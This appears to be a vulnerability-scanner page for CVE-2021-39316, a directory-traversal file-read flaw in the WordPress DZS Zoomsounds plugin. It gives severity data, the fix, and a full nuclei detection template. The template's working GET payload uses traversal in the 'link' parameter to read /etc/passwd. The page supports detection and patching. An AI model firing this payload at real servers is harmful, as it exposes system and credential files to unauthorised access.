WordPress DZS Zoomsounds <=6.50 - Local File Inclusion

highseverity

7.5CVSS score

65.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

WordPress Zoomsounds plugin 6.45 and earlier allows arbitrary files, including sensitive configuration files such as wp-config.php, to be downloaded via the `dzsap_download` action using directory traversal in the `link` parameter.

Impact

Local File Inclusion vulnerability in WordPress DZS Zoomsounds plugin allows an attacker to include arbitrary files from the server, potentially leading to remote code execution or sensitive information disclosure.

Fix

Update to the latest version of WordPress DZS Zoomsounds plugin (>=6.51) to fix the Local File Inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?action=dzsap_download&link=../../../../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-39316 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-39316

info:
  name: WordPress DZS Zoomsounds <=6.50 - Local File Inclusion
  author: daffainfo
  severity: high
  description: WordPress Zoomsounds plugin 6.45 and earlier allows arbitrary files, including sensitive configuration files such as wp-config.php, to be downloaded via the `dzsap_download` action using directory traversal in the `link` parameter.
  impact: |
    Local File Inclusion vulnerability in WordPress DZS Zoomsounds plugin allows an attacker to include arbitrary files from the server, potentially leading to remote code execution or sensitive information disclosure.
  remediation: |
    Update to the latest version of WordPress DZS Zoomsounds plugin (>=6.51) to fix the Local File Inclusion vulnerability.
  reference:
    - https://wpscan.com/vulnerability/d2d60cf7-e4d3-42b6-8dfe-7809f87547bd
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39316
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39316
    - http://packetstormsecurity.com/files/165146/WordPress-DZS-Zoomsounds-6.45-Arbitrary-File-Read.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39316
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-39316
    cwe-id: CWE-22
    epss-score: 0.65763
    epss-percentile: 0.99272
    cpe: cpe:2.3:a:digitalzoomstudio:zoomsounds:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: digitalzoomstudio
    product: zoomsounds
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,zoomsounds,wpscan,packetstorm,wp,lfi,digitalzoomstudio,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?action=dzsap_download&link=../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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